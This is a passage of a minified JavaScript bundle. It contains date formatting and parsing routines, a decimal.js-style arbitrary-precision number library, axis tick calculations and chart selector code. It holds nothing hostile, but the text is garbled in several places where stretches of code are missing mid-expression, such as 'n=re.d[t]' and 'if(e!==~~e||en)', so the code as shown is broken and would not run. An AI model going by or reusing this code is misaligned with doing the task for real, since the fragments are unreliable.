r=vt.exec(t.slice(n,n+1));return r?(e.q=r[0]*3-3,n+r[0].length):-1}function WL(e,t,n){var r=vt.exec(t.slice(n,n+2));return r?(e.m=r[0]-1,n+r[0].length):-1}function W1(e,t,n){var r=vt.exec(t.slice(n,n+2));return r?(e.d=+r[0],n+r[0].length):-1}function UL(e,t,n){var r=vt.exec(t.slice(n,n+3));return r?(e.m=0,e.d=+r[0],n+r[0].length):-1}function U1(e,t,n){var r=vt.exec(t.slice(n,n+2));return r?(e.H=+r[0],n+r[0].length):-1}function VL(e,t,n){var r=vt.exec(t.slice(n,n+2));return r?(e.M=+r[0],n+r[0].length):-1}function HL(e,t,n){var r=vt.exec(t.slice(n,n+2));return r?(e.S=+r[0],n+r[0].length):-1}function KL(e,t,n){var r=vt.exec(t.slice(n,n+3));return r?(e.L=+r[0],n+r[0].length):-1}function qL(e,t,n){var r=vt.exec(t.slice(n,n+6));return r?(e.L=Math.floor(r[0]/1e3),n+r[0].length):-1}function YL(e,t,n){var r=OL.exec(t.slice(n,n+1));return r?n+r[0].length:-1}function GL(e,t,n){var r=vt.exec(t.slice(n));return r?(e.Q=+r[0],n+r[0].length):-1}function XL(e,t,n){var r=vt.exec(t.slice(n));return r?(e.s=+r[0],n+r[0].length):-1}function V1(e,t){return ke(e.getDate(),t,2)}function ZL(e,t){return ke(e.getHours(),t,2)}function QL(e,t){return ke(e.getHours()%12||12,t,2)}function JL(e,t){return ke(1+tl.count(kr(e),e),t,3)}function VN(e,t){return ke(e.getMilliseconds(),t,3)}function eI(e,t){return VN(e,t)+"000"}function tI(e,t){return ke(e.getMonth()+1,t,2)}function nI(e,t){return ke(e.getMinutes(),t,2)}function rI(e,t){return ke(e.getSeconds(),t,2)}function iI(e){var t=e.getDay();return t===0?7:t}function aI(e,t){return ke(Rd.count(kr(e)-1,e),t,2)}function HN(e){var t=e.getDay();return t>=4||t===0?Xa(e):Xa.ceil(e)}function sI(e,t){return e=HN(e),ke(Xa.count(kr(e),e)+(kr(e).getDay()===4),t,2)}function oI(e){return e.getDay()}function lI(e,t){return ke(yu.count(kr(e)-1,e),t,2)}function cI(e,t){return ke(e.getFullYear()%100,t,2)}function uI(e,t){return e=HN(e),ke(e.getFullYear()%100,t,2)}function dI(e,t){return ke(e.getFullYear()%1e4,t,4)}function fI(e,t){var n=e.getDay();return e=n>=4||n===0?Xa(e):Xa.ceil(e),ke(e.getFullYear()%1e4,t,4)}function pI(e){var t=e.getTimezoneOffset();return(t>0?"-":(t*=-1,"+"))+ke(t/60|0,"0",2)+ke(t%60,"0",2)}function H1(e,t){return ke(e.getUTCDate(),t,2)}function mI(e,t){return ke(e.getUTCHours(),t,2)}function hI(e,t){return ke(e.getUTCHours()%12||12,t,2)}function xI(e,t){return ke(1+Dd.count(Nr(e),e),t,3)}function KN(e,t){return ke(e.getUTCMilliseconds(),t,3)}function vI(e,t){return KN(e,t)+"000"}function gI(e,t){return ke(e.getUTCMonth()+1,t,2)}function yI(e,t){return ke(e.getUTCMinutes(),t,2)}function bI(e,t){return ke(e.getUTCSeconds(),t,2)}function wI(e){var t=e.getUTCDay();return t===0?7:t}function jI(e,t){return ke($d.count(Nr(e)-1,e),t,2)}function qN(e){var t=e.getUTCDay();return t>=4||t===0?Za(e):Za.ceil(e)}function kI(e,t){return e=qN(e),ke(Za.count(Nr(e),e)+(Nr(e).getUTCDay()===4),t,2)}function NI(e){return e.getUTCDay()}function SI(e,t){return ke(bu.count(Nr(e)-1,e),t,2)}function zI(e,t){return ke(e.getUTCFullYear()%100,t,2)}function CI(e,t){return e=qN(e),ke(e.getUTCFullYear()%100,t,2)}function PI(e,t){return ke(e.getUTCFullYear()%1e4,t,4)}function EI(e,t){var n=e.getUTCDay();return e=n>=4||n===0?Za(e):Za.ceil(e),ke(e.getUTCFullYear()%1e4,t,4)}function AI(){return"+0000"}function K1(){return"%"}function q1(e){return+e}function Y1(e){return Math.floor(+e/1e3)}var ca,YN,GN;_I({dateTime:"%x, %X",date:"%-m/%-d/%Y",time:"%-I:%M:%S %p",periods:["AM","PM"],days:["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],shortDays:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],months:["January","February","March","April","May","June","July","August","September","October","November","December"],shortMonths:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"]});function _I(e){return ca=_L(e),YN=ca.format,ca.parse,GN=ca.utcFormat,ca.utcParse,ca}function OI(e){return new Date(e)}function TI(e){return e instanceof Date?+e:+new Date(+e)}function c0(e,t,n,r,i,a,o,l,c,u){var d=Gx(),f=d.invert,m=d.domain,h=u(".%L"),x=u(":%S"),g=u("%I:%M"),y=u("%I %p"),v=u("%a %d"),b=u("%b %d"),w=u("%B"),j=u("%Y");function k(S){return(c(S)t(i/(e.length-1)))},n.quantiles=function(r){return Array.from({length:r+1},(i,a)=>w8(e,a/r))},n.copy=function(){return JN(t).domain(e)},Or.apply(n,arguments)}function Fd(){var e=0,t=.5,n=1,r=1,i,a,o,l,c,u=Ot,d,f=!1,m;function h(g){return isNaN(g=+g)?m:(g=.5+((g=+d(g))-a)*(r*ge.chartData,Wd=M([Tr],e=>{var t=e.chartData!=null?e.chartData.length-1:0;return{chartData:e.chartData,computedData:e.computedData,dataEndIndex:t,dataStartIndex:0}}),r4=(e,t,n,r)=>r?Wd(e):Tr(e),RI=(e,t,n)=>n?Wd(e):Tr(e);function Sr(e){if(Array.isArray(e)&&e.length===2){var[t,n]=e;if(je(t)&&je(n))return!0}return!1}function G1(e,t,n){return n?e:[Math.min(e[0],t[0]),Math.max(e[1],t[1])]}function i4(e,t){if(t&&typeof e!="function"&&Array.isArray(e)&&e.length===2){var[n,r]=e,i,a;if(je(n))i=n;else if(typeof n=="function")return;if(je(r))a=r;else if(typeof r=="function")return;var o=[i,a];if(Sr(o))return o}}function $I(e,t,n){if(!(!n&&t==null)){if(typeof e=="function"&&t!=null)try{var r=e(t,n);if(Sr(r))return G1(r,t,n)}catch{}if(Array.isArray(e)&&e.length===2){var[i,a]=e,o,l;if(i==="auto")t!=null&&(o=Math.min(...t));else if(fe(i))o=i;else if(typeof i=="function")try{t!=null&&(o=i(t==null?void 0:t[0]))}catch{}else if(typeof i=="string"&&py.test(i)){var c=py.exec(i);if(c==null||c[1]==null||t==null)o=void 0;else{var u=+c[1];o=t[0]-u}}else o=t==null?void 0:t[0];if(a==="auto")t!=null&&(l=Math.max(...t));else if(fe(a))l=a;else if(typeof a=="function")try{t!=null&&(l=a(t==null?void 0:t[1]))}catch{}else if(typeof a=="string"&&my.test(a)){var d=my.exec(a);if(d==null||d[1]==null||t==null)l=void 0;else{var f=+d[1];l=t[1]+f}}else l=t==null?void 0:t[1];var m=[o,l];if(Sr(m))return t==null?m:G1(m,t,n)}}}var ls=1e9,BI={precision:20,rounding:4,toExpNeg:-7,toExpPos:21,LN10:"2.302585092994045684017991454684364207601101488628772976033327900967572609677352480235997205089598298341967784042286"},p0,Fe=!0,kn="[DecimalError] ",Fi=kn+"Invalid argument: ",f0=kn+"Exponent out of range: ",cs=Math.floor,Ei=Math.pow,FI=/^(\d+(\.\d*)?|\.\d+)(e[+-]?\d+)?$/i,Qt,pt=1e7,Ie=7,a4=9007199254740991,wu=cs(a4/Ie),ae={};ae.absoluteValue=ae.abs=function(){var e=new this.constructor(this);return e.s&&(e.s=1),e};ae.comparedTo=ae.cmp=function(e){var t,n,r,i,a=this;if(e=new a.constructor(e),a.s!==e.s)return a.s||-e.s;if(a.e!==e.e)return a.e>e.e^a.s<0?1:-1;for(r=a.d.length,i=e.d.length,t=0,n=re.d[t]^a.s<0?1:-1;return r===i?0:r>i^a.s<0?1:-1};ae.decimalPlaces=ae.dp=function(){var e=this,t=e.d.length-1,n=(t-e.e)*Ie;if(t=e.d[t],t)for(;t%10==0;t/=10)n--;return n<0?0:n};ae.dividedBy=ae.div=function(e){return mr(this,new this.constructor(e))};ae.dividedToIntegerBy=ae.idiv=function(e){var t=this,n=t.constructor;return Ae(mr(t,new n(e),0,1),n.precision)};ae.equals=ae.eq=function(e){return!this.cmp(e)};ae.exponent=function(){return it(this)};ae.greaterThan=ae.gt=function(e){return this.cmp(e)>0};ae.greaterThanOrEqualTo=ae.gte=function(e){return this.cmp(e)>=0};ae.isInteger=ae.isint=function(){return this.e>this.d.length-2};ae.isNegative=ae.isneg=function(){return this.s<0};ae.isPositive=ae.ispos=function(){return this.s>0};ae.isZero=function(){return this.s===0};ae.lessThan=ae.lt=function(e){return this.cmp(e)<0};ae.lessThanOrEqualTo=ae.lte=function(e){return this.cmp(e)<1};ae.logarithm=ae.log=function(e){var t,n=this,r=n.constructor,i=r.precision,a=i+5;if(e===void 0)e=new r(10);else if(e=new r(e),e.s<1||e.eq(Qt))throw Error(kn+"NaN");if(n.s<1)throw Error(kn+(n.s?"NaN":"-Infinity"));return n.eq(Qt)?new r(0):(Fe=!1,t=mr(Do(n,a),Do(e,a),a),Fe=!0,Ae(t,i))};ae.minus=ae.sub=function(e){var t=this;return e=new t.constructor(e),t.s==e.s?l4(t,e):s4(t,(e.s=-e.s,e))};ae.modulo=ae.mod=function(e){var t,n=this,r=n.constructor,i=r.precision;if(e=new r(e),!e.s)throw Error(kn+"NaN");return n.s?(Fe=!1,t=mr(n,e,0,1).times(e),Fe=!0,n.minus(t)):Ae(new r(n),i)};ae.naturalExponential=ae.exp=function(){return o4(this)};ae.naturalLogarithm=ae.ln=function(){return Do(this)};ae.negated=ae.neg=function(){var e=new this.constructor(this);return e.s=-e.s||0,e};ae.plus=ae.add=function(e){var t=this;return e=new t.constructor(e),t.s==e.s?s4(t,e):l4(t,(e.s=-e.s,e))};ae.precision=ae.sd=function(e){var t,n,r,i=this;if(e!==void 0&&e!==!!e&&e!==1&&e!==0)throw Error(Fi+e);if(t=it(i)+1,r=i.d.length-1,n=r*Ie+1,r=i.d[r],r){for(;r%10==0;r/=10)n--;for(r=i.d[0];r>=10;r/=10)n++}return e&&t>n?t:n};ae.squareRoot=ae.sqrt=function(){var e,t,n,r,i,a,o,l=this,c=l.constructor;if(l.s<1){if(!l.s)return new c(0);throw Error(kn+"NaN")}for(e=it(l),Fe=!1,i=Math.sqrt(+l),i==0||i==1/0?(t=Xn(l.d),(t.length+e)%2==0&&(t+="0"),i=Math.sqrt(t),e=cs((e+1)/2)-(e<0||e%2),i==1/0?t="5e"+e:(t=i.toExponential(),t=t.slice(0,t.indexOf("e")+1)+e),r=new c(t)):r=new c(i.toString()),n=c.precision,i=o=n+3;;)if(a=r,r=a.plus(mr(l,a,o+2)).times(.5),Xn(a.d).slice(0,o)===(t=Xn(r.d)).slice(0,o)){if(t=t.slice(o-3,o+1),i==o&&t=="4999"){if(Ae(a,n+1,0),a.times(a).eq(l)){r=a;break}}else if(t!="9999")break;o+=4}return Fe=!0,Ae(r,n)};ae.times=ae.mul=function(e){var t,n,r,i,a,o,l,c,u,d=this,f=d.constructor,m=d.d,h=(e=new f(e)).d;if(!d.s||!e.s)return new f(0);for(e.s*=d.s,n=d.e+e.e,c=m.length,u=h.length,c=0;){for(t=0,i=c+r;i>r;)l=a[i]+h[r]*m[i-r-1]+t,a[i--]=l%pt|0,t=l/pt|0;a[i]=(a[i]+t)%pt|0}for(;!a[--o];)a.pop();return t?++n:a.shift(),e.d=a,e.e=n,Fe?Ae(e,f.precision):e};ae.toDecimalPlaces=ae.todp=function(e,t){var n=this,r=n.constructor;return n=new r(n),e===void 0?n:(tr(e,0,ls),t===void 0?t=r.rounding:tr(t,0,8),Ae(n,e+it(n)+1,t))};ae.toExponential=function(e,t){var n,r=this,i=r.constructor;return e===void 0?n=ta(r,!0):(tr(e,0,ls),t===void 0?t=i.rounding:tr(t,0,8),r=Ae(new i(r),e+1,t),n=ta(r,!0,e+1)),n};ae.toFixed=function(e,t){var n,r,i=this,a=i.constructor;return e===void 0?ta(i):(tr(e,0,ls),t===void 0?t=a.rounding:tr(t,0,8),r=Ae(new a(i),e+it(i)+1,t),n=ta(r.abs(),!1,e+it(r)+1),i.isneg()&&!i.isZero()?"-"+n:n)};ae.toInteger=ae.toint=function(){var e=this,t=e.constructor;return Ae(new t(e),it(e)+1,t.rounding)};ae.toNumber=function(){return+this};ae.toPower=ae.pow=function(e){var t,n,r,i,a,o,l=this,c=l.constructor,u=12,d=+(e=new c(e));if(!e.s)return new c(Qt);if(l=new c(l),!l.s){if(e.s<1)throw Error(kn+"Infinity");return l}if(l.eq(Qt))return l;if(r=c.precision,e.eq(Qt))return Ae(l,r);if(t=e.e,n=e.d.length-1,o=t>=n,a=l.s,o){if((n=d<0?-d:d)<=a4){for(i=new c(Qt),t=Math.ceil(r/Ie+4),Fe=!1;n%2&&(i=i.times(l),Z1(i.d,t)),n=cs(n/2),n!==0;)l=l.times(l),Z1(l.d,t);return Fe=!0,e.s<0?new c(Qt).div(i):Ae(i,r)}}else if(a<0)throw Error(kn+"NaN");return a=a<0&&e.d[Math.max(t,n)]&1?-1:1,l.s=1,Fe=!1,i=e.times(Do(l,r+u)),Fe=!0,i=o4(i),i.s=a,i};ae.toPrecision=function(e,t){var n,r,i=this,a=i.constructor;return e===void 0?(n=it(i),r=ta(i,n<=a.toExpNeg||n>=a.toExpPos)):(tr(e,1,ls),t===void 0?t=a.rounding:tr(t,0,8),i=Ae(new a(i),e,t),n=it(i),r=ta(i,e<=n||n<=a.toExpNeg,e)),r};ae.toSignificantDigits=ae.tosd=function(e,t){var n=this,r=n.constructor;return e===void 0?(e=r.precision,t=r.rounding):(tr(e,1,ls),t===void 0?t=r.rounding:tr(t,0,8)),Ae(new r(n),e,t)};ae.toString=ae.valueOf=ae.val=ae.toJSON=ae[Symbol.for("nodejs.util.inspect.custom")]=function(){var e=this,t=it(e),n=e.constructor;return ta(e,t<=n.toExpNeg||t>=n.toExpPos)};function s4(e,t){var n,r,i,a,o,l,c,u,d=e.constructor,f=d.precision;if(!e.s||!t.s)return t.s||(t=new d(e)),Fe?Ae(t,f):t;if(c=e.d,u=t.d,o=e.e,i=t.e,c=c.slice(),a=o-i,a){for(a<0?(r=c,a=-a,l=u.length):(r=u,i=o,l=c.length),o=Math.ceil(f/Ie),l=o>l?o+1:l+1,a>l&&(a=l,r.length=1),r.reverse();a--;)r.push(0);r.reverse()}for(l=c.length,a=u.length,l-a<0&&(a=l,r=u,u=c,c=r),n=0;a;)n=(c[--a]=c[a]+u[a]+n)/pt|0,c[a]%=pt;for(n&&(c.unshift(n),++i),l=c.length;c[--l]==0;)c.pop();return t.d=c,t.e=i,Fe?Ae(t,f):t}function tr(e,t,n){if(e!==~~e||en)throw Error(Fi+e)}function Xn(e){var t,n,r,i=e.length-1,a="",o=e[0];if(i>0){for(a+=o,t=1;to?1:-1;else for(l=c=0;li[l]?1:-1;break}return c}function n(r,i,a){for(var o=0;a--;)r[a]-=o,o=r[a]1;)r.shift()}return function(r,i,a,o){var l,c,u,d,f,m,h,x,g,y,v,b,w,j,k,S,N,z,O=r.constructor,_=r.s==i.s?1:-1,T=r.d,P=i.d;if(!r.s)return new O(r);if(!i.s)throw Error(kn+"Division by zero");for(c=r.e-i.e,N=P.length,k=T.length,h=new O(_),x=h.d=[],u=0;P[u]==(T[u]||0);)++u;if(P[u]>(T[u]||0)&&--c,a==null?b=a=O.precision:o?b=a+(it(r)-it(i))+1:b=a,b<0)return new O(0);if(b=b/Ie+2|0,u=0,N==1)for(d=0,P=P[0],b++;(u1&&(P=e(P,d),T=e(T,d),N=P.length,k=T.length),j=N,g=T.slice(0,N),y=g.length;y=pt/2&&++S;do d=0,l=t(P,g,N,y),l<0?(v=g[0],N!=y&&(v=v*pt+(g[1]||0)),d=v/S|0,d>1?(d>=pt&&(d=pt-1),f=e(P,d),m=f.length,y=g.length,l=t(f,g,m,y),l==1&&(d--,n(f,N16)throw Error(f0+it(e));if(!e.s)return new d(Qt);for(Fe=!1,l=f,o=new d(.03125);e.abs().gte(.1);)e=e.times(o),u+=5;for(r=Math.log(Ei(2,u))/Math.LN10*2+5|0,l+=r,n=i=a=new d(Qt),d.precision=l;;){if(i=Ae(i.times(e),l),n=n.times(++c),o=a.plus(mr(i,n,l)),Xn(o.d).slice(0,l)===Xn(a.d).slice(0,l)){for(;u--;)a=Ae(a.times(a),l);return d.precision=f,t==null?(Fe=!0,Ae(a,f)):a}a=o}}function it(e){for(var t=e.e*Ie,n=e.d[0];n>=10;n/=10)t++;return t}function op(e,t,n){if(t>e.LN10.sd())throw Fe=!0,n&&(e.precision=n),Error(kn+"LN10 precision limit exceeded");return Ae(new e(e.LN10),t)}function Wr(e){for(var t="";e--;)t+="0";return t}function Do(e,t){var n,r,i,a,o,l,c,u,d,f=1,m=10,h=e,x=h.d,g=h.constructor,y=g.precision;if(h.s<1)throw Error(kn+(h.s?"NaN":"-Infinity"));if(h.eq(Qt))return new g(0);if(t==null?(Fe=!1,u=y):u=t,h.eq(10))return t==null&&(Fe=!0),op(g,u);if(u+=m,g.precision=u,n=Xn(x),r=n.charAt(0),a=it(h),Math.abs(a)<15e14){for(;r<7&&r!=1||r==1&&n.charAt(1)>3;)h=h.times(e),n=Xn(h.d),r=n.charAt(0),f++;a=it(h),r>1?(h=new g("0."+n),a++):h=new g(r+"."+n.slice(1))}else return c=op(g,u+2,y).times(a+""),h=Do(new g(r+"."+n.slice(1)),u-m).plus(c),g.precision=y,t==null?(Fe=!0,Ae(h,y)):h;for(l=o=h=mr(h.minus(Qt),h.plus(Qt),u),d=Ae(h.times(h),u),i=3;;){if(o=Ae(o.times(d),u),c=l.plus(mr(o,new g(i),u)),Xn(c.d).slice(0,u)===Xn(l.d).slice(0,u))return l=l.times(2),a!==0&&(l=l.plus(op(g,u+2,y).times(a+""))),l=mr(l,new g(f),u),g.precision=y,t==null?(Fe=!0,Ae(l,y)):l;l=c,i+=2}}function X1(e,t){var n,r,i;for((n=t.indexOf("."))>-1&&(t=t.replace(".","")),(r=t.search(/e/i))>0?(n<0&&(n=r),n+=+t.slice(r+1),t=t.substring(0,r)):n<0&&(n=t.length),r=0;t.charCodeAt(r)===48;)++r;for(i=t.length;t.charCodeAt(i-1)===48;)--i;if(t=t.slice(r,i),t){if(i-=r,n=n-r-1,e.e=cs(n/Ie),e.d=[],r=(n+1)%Ie,n<0&&(r+=Ie),rwu||e.e<-wu))throw Error(f0+n)}else e.s=0,e.e=0,e.d=[0];return e}function Ae(e,t,n){var r,i,a,o,l,c,u,d,f=e.d;for(o=1,a=f[0];a>=10;a/=10)o++;if(r=t-o,r<0)r+=Ie,i=t,u=f[d=0];else{if(d=Math.ceil((r+1)/Ie),a=f.length,d>=a)return e;for(u=a=f[d],o=1;a>=10;a/=10)o++;r%=Ie,i=r-Ie+o}if(n!==void 0&&(a=Ei(10,o-i-1),l=u/a%10|0,c=t<0||f[d+1]!==void 0||u%a,c=n<4?(l||c)&&(n==0||n==(e.s<0?3:2)):l>5||l==5&&(n==4||c||n==6&&(r>0?i>0?u/Ei(10,o-i):0:f[d-1])%10&1||n==(e.s<0?8:7))),t<1||!f[0])return c?(a=it(e),f.length=1,t=t-a-1,f[0]=Ei(10,(Ie-t%Ie)%Ie),e.e=cs(-t/Ie)||0):(f.length=1,f[0]=e.e=e.s=0),e;if(r==0?(f.length=d,a=1,d--):(f.length=d+1,a=Ei(10,Ie-r),f[d]=i>0?(u/Ei(10,o-i)%Ei(10,i)|0)*a:0),c)for(;;)if(d==0){(f[0]+=a)==pt&&(f[0]=1,++e.e);break}else{if(f[d]+=a,f[d]!=pt)break;f[d--]=0,a=1}for(r=f.length;f[--r]===0;)f.pop();if(Fe&&(e.e>wu||e.e<-wu))throw Error(f0+it(e));return e}function l4(e,t){var n,r,i,a,o,l,c,u,d,f,m=e.constructor,h=m.precision;if(!e.s||!t.s)return t.s?t.s=-t.s:t=new m(e),Fe?Ae(t,h):t;if(c=e.d,f=t.d,r=t.e,u=e.e,c=c.slice(),o=u-r,o){for(d=o<0,d?(n=c,o=-o,l=f.length):(n=f,r=u,l=c.length),i=Math.max(Math.ceil(h/Ie),l)+2,o>i&&(o=i,n.length=1),n.reverse(),i=o;i--;)n.push(0);n.reverse()}else{for(i=c.length,l=f.length,d=i0;--i)c[l++]=0;for(i=f.length;i>o;){if(c[--i]0?a=a.charAt(0)+"."+a.slice(1)+Wr(r):o>1&&(a=a.charAt(0)+"."+a.slice(1)),a=a+(i<0?"e":"e+")+i):i<0?(a="0."+Wr(-i-1)+a,n&&(r=n-o)>0&&(a+=Wr(r))):i>=o?(a+=Wr(i+1-o),n&&(r=n-i-1)>0&&(a=a+"."+Wr(r))):((r=i+1)0&&(i+1===o&&(a+="."),a+=Wr(r))),e.s<0?"-"+a:a}function Z1(e,t){if(e.length>t)return e.length=t,!0}function c4(e){var t,n,r;function i(a){var o=this;if(!(o instanceof i))return new i(a);if(o.constructor=i,a instanceof i){o.s=a.s,o.e=a.e,o.d=(a=a.d)?a.slice():a;return}if(typeof a=="number"){if(a*0!==0)throw Error(Fi+a);if(a>0)o.s=1;else if(a<0)a=-a,o.s=-1;else{o.s=0,o.e=0,o.d=[0];return}if(a===~~a&&a<1e7){o.e=0,o.d=[a];return}return X1(o,a.toString())}else if(typeof a!="string")throw Error(Fi+a);if(a.charCodeAt(0)===45?(a=a.slice(1),o.s=-1):o.s=1,FI.test(a))X1(o,a);else throw Error(Fi+a)}if(i.prototype=ae,i.ROUND_UP=0,i.ROUND_DOWN=1,i.ROUND_CEIL=2,i.ROUND_FLOOR=3,i.ROUND_HALF_UP=4,i.ROUND_HALF_DOWN=5,i.ROUND_HALF_EVEN=6,i.ROUND_HALF_CEIL=7,i.ROUND_HALF_FLOOR=8,i.clone=c4,i.config=i.set=WI,e===void 0&&(e={}),e)for(r=["precision","rounding","toExpNeg","toExpPos","LN10"],t=0;t=i[t+1]&&r<=i[t+2])this[n]=r;else throw Error(Fi+n+": "+r);if((r=e[n="LN10"])!==void 0)if(r==Math.LN10)this[n]=new this(r);else throw Error(Fi+n+": "+r);return this}var p0=c4(BI);Qt=new p0(1);const ze=p0;function u4(e){var t;return e===0?t=1:t=Math.floor(new ze(e).abs().log(10).toNumber())+1,t}function d4(e,t,n){for(var r=new ze(e),i=0,a=[];r.lt(t)&&i<1e5;)a.push(r.toNumber()),r=r.add(n),i++;return a}var f4=e=>{var[t,n]=e,[r,i]=[t,n];return t>n&&([r,i]=[n,t]),[r,i]},p4=(e,t,n)=>{if(e.lte(0))return new ze(0);var r=u4(e.toNumber()),i=new ze(10).pow(r),a=e.div(i),o=r!==1?.05:.1,l=new ze(Math.ceil(a.div(o).toNumber())).add(n).mul(o),c=l.mul(i);return t?new ze(c.toNumber()):new ze(Math.ceil(c.toNumber()))},UI=(e,t,n)=>{var r=new ze(1),i=new ze(e);if(!i.isint()&&n){var a=Math.abs(e);a<1?(r=new ze(10).pow(u4(e)-1),i=new ze(Math.floor(i.div(r).toNumber())).mul(r)):a>1&&(i=new ze(Math.floor(e)))}else e===0?i=new ze(Math.floor((t-1)/2)):n||(i=new ze(Math.floor(e)));for(var o=Math.floor((t-1)/2),l=[],c=0;c4&&arguments[4]!==void 0?arguments[4]:0;if(!Number.isFinite((n-t)/(r-1)))return{step:new ze(0),tickMin:new ze(0),tickMax:new ze(0)};var o=p4(new ze(n).sub(t).div(r-1),i,a),l;t<=0&&n>=0?l=new ze(0):(l=new ze(t).add(n).div(2),l=l.sub(new ze(l).mod(o)));var c=Math.ceil(l.sub(t).div(o).toNumber()),u=Math.ceil(new ze(n).sub(l).div(o).toNumber()),d=c+u+1;return d>r?m4(t,n,r,i,a+1):(d0?u+(r-d):u,c=n>0?c:c+(r-d)),{step:o,tickMin:l.sub(new ze(c).mul(o)),tickMax:l.add(new ze(u).mul(o))})},VI=function(t){var[n,r]=t,i=arguments.length>1&&arguments[1]!==void 0?arguments[1]:6,a=arguments.length>2&&arguments[2]!==void 0?arguments[2]:!0,o=Math.max(i,2),[l,c]=f4([n,r]);if(l===-1/0||c===1/0){var u=c===1/0?[l,...Array(i-1).fill(1/0)]:[...Array(i-1).fill(-1/0),c];return n>r?u.reverse():u}if(l===c)return UI(l,i,a);var{step:d,tickMin:f,tickMax:m}=m4(l,c,o,a,0),h=d4(f,m.add(new ze(.1).mul(d)),d);return n>r?h.reverse():h},HI=function(t,n){var[r,i]=t,a=arguments.length>2&&arguments[2]!==void 0?arguments[2]:!0,[o,l]=f4([r,i]);if(o===-1/0||l===1/0)return[r,i];if(o===l)return[o];var c=Math.max(n,2),u=p4(new ze(l).sub(o).div(c-1),a,0),d=[...d4(new ze(o),new ze(l),u),l];return a===!1&&(d=d.map(f=>Math.round(f))),r>i?d.reverse():d},KI=e=>e.rootProps.barCategoryGap,nl=e=>e.rootProps.stackOffset,h4=e=>e.rootProps.reverseStackOrder,m0=e=>e.options.chartName,h0=e=>e.rootProps.syncId,x4=e=>e.rootProps.syncMethod,x0=e=>e.options.eventEmitter,qI=e=>e.rootProps.baseValue,Ut={grid:-100,barBackground:-50,area:100,cursorRectangle:200,bar:300,line:400,axis:500,scatter:600,activeBar:1e3,cursorLine:1100,activeDot:1200,label:2e3},ji={allowDecimals:!1,allowDataOverflow:!1,angleAxisId:0,reversed:!1,scale:"auto",tick:!0,type:"auto"},Vn={allowDataOverflow:!1,allowDecimals:!1,allowDuplicatedCategory:!0,includeHidden:!1,radiusAxisId:0,reversed:!1,scale:"auto",tick:!0,tickCount:5,type:"auto"},Ud=(e,t)=>{if(!(!e||!t))return e!=null&&e.reversed?[t[1],t[0]]:t};function v4(e,t,n){if(n!=="auto")return n;if(e!=null)return ir(e,t)?"category":"number"}function Q1(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function ju(e){for(var t=1;t{if(t!=null)return e.polarAxis.angleAxis[t]},v0=M([ZI,Jk],(e,t)=>{var n;if(e!=null)return e;var r=(n=v4(t,"angleAxis",J1.type))!==null&&n!==void 0?n:"category";return ju(ju({},J1),{},{type:r})}),QI=(e,t)=>e.polarAxis.radiusAxis[t],g0=M([QI,Jk],(e,t)=>{var n;if(e!=null)return e;var r=(n=v4(t,"radiusAxis",eb.type))!==null&&n!==void 0?n:"category";return ju(ju({},eb),{},{type:r})}),Vd=e=>e.polarOptions,y0=M([Ar,_r,xt],xN),g4=M([Vd,y0],(e,t)=>{if(e!=null)return nn(e.innerRadius,t,0)}),y4=M([Vd,y0],(e,t)=>{if(e!=null)return nn(e.outerRadius,t,t*.8)}),JI=e=>{if(e==null)return[0,0];var{startAngle:t,endAngle:n}=e;return[t,n]},b4=M([Vd],JI);M([v0,b4],Ud);var w4=M([y0,g4,y4],(e,t,n)=>{if(!(e==null||t==null||n==null))return[t,n]});M([g0,w4],Ud);var j4=M([_e,Vd,g4,y4,Ar,_r],(e,t,n,r,i,a)=>{if(!(e!=="centric"&&e!=="radial"||t==null||n==null||r==null)){var{cx:o,cy:l,startAngle:c,endAngle:u}=t;return{cx:nn(o,i,i/2),cy:nn(l,a,a/2),innerRadius:n,outerRadius:r,startAngle:c,endAngle:u,clockWise:!1}}}),Ye=(e,t)=>t,rl=(e,t,n)=>n;function b0(e){return e==null?void 0:e.id}function k4(e,t,n){var{chartData:r=[]}=t,{allowDuplicatedCategory:i,dataKey:a}=n,o=new Map;return e.forEach(l=>{var c,u=(c=l.data)!==null&&c!==void 0?c:r;if(!(u==null||u.length===0)){var d=b0(l);u.forEach((f,m)=>{var h=a==null||i?m:String(Re(f,a,null)),x=Re(f,l.dataKey,0),g;o.has(h)?g=o.get(h):g={},Object.assign(g,{[d]:x}),o.set(h,g)})}}),Array.from(o.values())}function w0(e){return"stackId"in e&&e.stackId!=null&&e.dataKey!=null}var Hd=(e,t)=>e===t?!0:e==null||t==null?!1:e[0]===t[0]&&e[1]===t[1];function Kd(e,t){return Array.isArray(e)&&Array.isArray(t)&&e.length===0&&t.length===0?!0:e===t}function e7(e,t){if(e.length===t.length){for(var n=0;n{var t=_e(e);return t==="horizontal"?"xAxis":t==="vertical"?"yAxis":t==="centric"?"angleAxis":"radiusAxis"},us=e=>e.tooltip.settings.axisId;function t7(e){if(e in Vs)return Vs[e]();var t="scale".concat(Ko(e));if(t in Vs)return Vs[t]()}function tb(e){var t=e.ticks,n=e.bandwidth,r=e.range(),i=[Math.min(...r),Math.max(...r)];return{domain:()=>e.domain(),range:function(a){function o(){return a.apply(this,arguments)}return o.toString=function(){return a.toString()},o}(()=>i),rangeMin:()=>i[0],rangeMax:()=>i[1],isInRange(a){var o=i[0],l=i[1];return o<=l?a>=o&&a<=l:a>=l&&a<=o},bandwidth:n?()=>n.call(e):void 0,ticks:t?a=>t.call(e,a):void 0,map:(a,o)=>{var l=e(a);if(l!=null){if(e.bandwidth&&o!==null&&o!==void 0&&o.position){var c=e.bandwidth();switch(o.position){case"middle":l+=c/2;break;case"end":l+=c;break}}return l}}}}function nb(e,t,n){if(typeof e=="function")return tb(e.copy().domain(t).range(n));if(e!=null){var r=t7(e);if(r!=null)return r.domain(t).range(n),tb(r)}}var N4=(e,t)=>{if(t!=null)switch(e){case"linear":{if(!Sr(t)){for(var n,r,i=0;ir)&&(r=a))}return n!==void 0&&r!==void 0?[n,r]:void 0}return t}default:return t}};function rb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function ku(e){for(var t=1;te.cartesianAxis.xAxis[t],Mr=(e,t)=>{var n=a7(e,t);return 